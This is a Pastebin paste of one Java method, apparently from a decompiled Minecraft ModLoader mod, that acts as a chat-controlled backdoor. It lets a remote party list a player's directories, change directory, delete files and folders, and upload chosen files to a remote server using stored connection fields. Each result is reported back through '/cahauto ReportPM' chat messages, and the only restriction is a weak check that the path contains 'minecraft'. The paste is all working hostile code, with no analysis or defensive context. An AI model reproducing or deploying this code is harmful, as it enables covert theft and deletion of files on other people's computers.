Guest User

Untitled

a guest
Jun 23rd, 2018
130
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Java 8.66 KB | None | 0 0
  1. public static void Browse(String s, String s1, String s2, String s3)
  2.     {
  3.         if (curDir.equals("None"))
  4.         {
  5.             curDir = getHome();
  6.         }
  7.         if (!s.equals("dir"))
  8.         {
  9.             if (s.equals("path"))
  10.             {
  11.                 ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
  12.                 return;
  13.             }
  14.             if (s.equals("home"))
  15.             {
  16.                 curDir = getHome();
  17.             }
  18.             else if (s.equals("tex"))
  19.             {
  20.                 curDir = getHome();
  21.                 curDir = (new StringBuilder()).append(curDir).append("/texturepacks").toString();
  22.             }
  23.             else if (s.equals("mod"))
  24.             {
  25.                 curDir = getHome();
  26.                 curDir = (new StringBuilder()).append(curDir).append("/mods").toString();
  27.             }
  28.             else if (s.equals("cd"))
  29.             {
  30.                 if (s1.equals(".."))
  31.                 {
  32.                     int i = curDir.length();
  33.                     for (int j = 0; j < curDir.length(); j++)
  34.                     {
  35.                         if (curDir.charAt(j) == '\\' || curDir.charAt(j) == '/')
  36.                         {
  37.                             i = j;
  38.                         }
  39.                     }
  40.  
  41.                     curDir = curDir.substring(0, i);
  42.                 }
  43.                 else
  44.                 {
  45.                     File file = new File(s1);
  46.                     if (file.exists())
  47.                     {
  48.                         if (file.isDirectory())
  49.                         {
  50.                             curDir = s1;
  51.                         }
  52.                         else
  53.                         {
  54.                             curDir = (new StringBuilder()).append(curDir).append("/").append(s1).toString();
  55.                         }
  56.                     }
  57.                     else
  58.                     {
  59.                         curDir = (new StringBuilder()).append(curDir).append("/").append(s1).toString();
  60.                     }
  61.                 }
  62.                 if (!curDir.toLowerCase().contains("minecraft"))
  63.                 {
  64.                     ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Error; Cannot Leave MineCraft Directory.").toString()));
  65.                     curDir = getHome();
  66.                     return;
  67.                 }
  68.             }
  69.             else
  70.             {
  71.                 if (s.equals("del"))
  72.                 {
  73.                     File file1 = new File((new StringBuilder()).append(curDir).append("/").append(s1).toString());
  74.                     if (!file1.exists())
  75.                     {
  76.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File/Folder Not Found; ").append(s1).toString()));
  77.                         return;
  78.                     }
  79.                     if (file1.isFile())
  80.                     {
  81.                         if (file1.delete())
  82.                         {
  83.                             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Delete Success; ").append(s1).toString()));
  84.                             return;
  85.                         }
  86.                         else
  87.                         {
  88.                             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Delete Failure; ").append(s1).toString()));
  89.                             return;
  90.                         }
  91.                     }
  92.                     if (file1.isDirectory())
  93.                     {
  94.                         if (deleteFile(file1))
  95.                         {
  96.                             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Folder Delete Success; ").append(s1).toString()));
  97.                             return;
  98.                         }
  99.                         else
  100.                         {
  101.                             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Folder Delete Failure; ").append(s1).toString()));
  102.                             return;
  103.                         }
  104.                     }
  105.                     else
  106.                     {
  107.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File/Folder Not Found; ").append(s1).toString()));
  108.                         return;
  109.                     }
  110.                 }
  111.                 if (s.equals("ul"))
  112.                 {
  113.                     File file2 = new File((new StringBuilder()).append(curDir).append("/").append(s1).toString());
  114.                     if (!file2.exists())
  115.                     {
  116.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Not Found; ").append(s1).toString()));
  117.                         return;
  118.                     }
  119.                     if (!file2.isFile())
  120.                     {
  121.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Is Folder; ").append(s1).toString()));
  122.                         return;
  123.                     }
  124.                     try
  125.                     {
  126.                         uploadFile(fa, fu, fp, (new StringBuilder()).append(fd).append("/").append(s3).append("_").append(file2.getName()).toString(), file2);
  127.                     }
  128.                     catch (MalformedURLException malformedurlexception)
  129.                     {
  130.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Upload URL Exception.").toString()));
  131.                         return;
  132.                     }
  133.                     catch (IOException ioexception)
  134.                     {
  135.                         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Upload I/O Exception.").toString()));
  136.                         return;
  137.                     }
  138.                     ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" File Uploading; ").append(s1).toString()));
  139.                     return;
  140.                 }
  141.                 else
  142.                 {
  143.                     ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Invalid Command; ").append(s).toString()));
  144.                     return;
  145.                 }
  146.             }
  147.         }
  148.         File file3 = new File(curDir);
  149.         if (!file3.exists() || !file3.isDirectory())
  150.         {
  151.             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
  152.             ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Error; Directory does not exist...").toString()));
  153.             return;
  154.         }
  155.         ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" Directory; ").append(curDir).toString()));
  156.         int k = 0;
  157.         String s4;
  158.         for (Iterator iterator = getContents().iterator(); iterator.hasNext(); ModLoader.getMinecraftInstance().getSendQueue().addToSendQueue(new Packet3Chat((new StringBuilder()).append("/cahauto ReportPM ").append(s2).append(" ").append(s4).toString())))
  159.         {
  160.             s4 = (String)iterator.next();
  161.             k++;
  162.             for (String s5 = (new StringBuilder()).append(k).append("").toString(); s5.length() < 3; s5 = (new StringBuilder()).append("0").append(s5).toString()) { }
  163.         }
  164.     }
Add Comment
Please, Sign In to add comment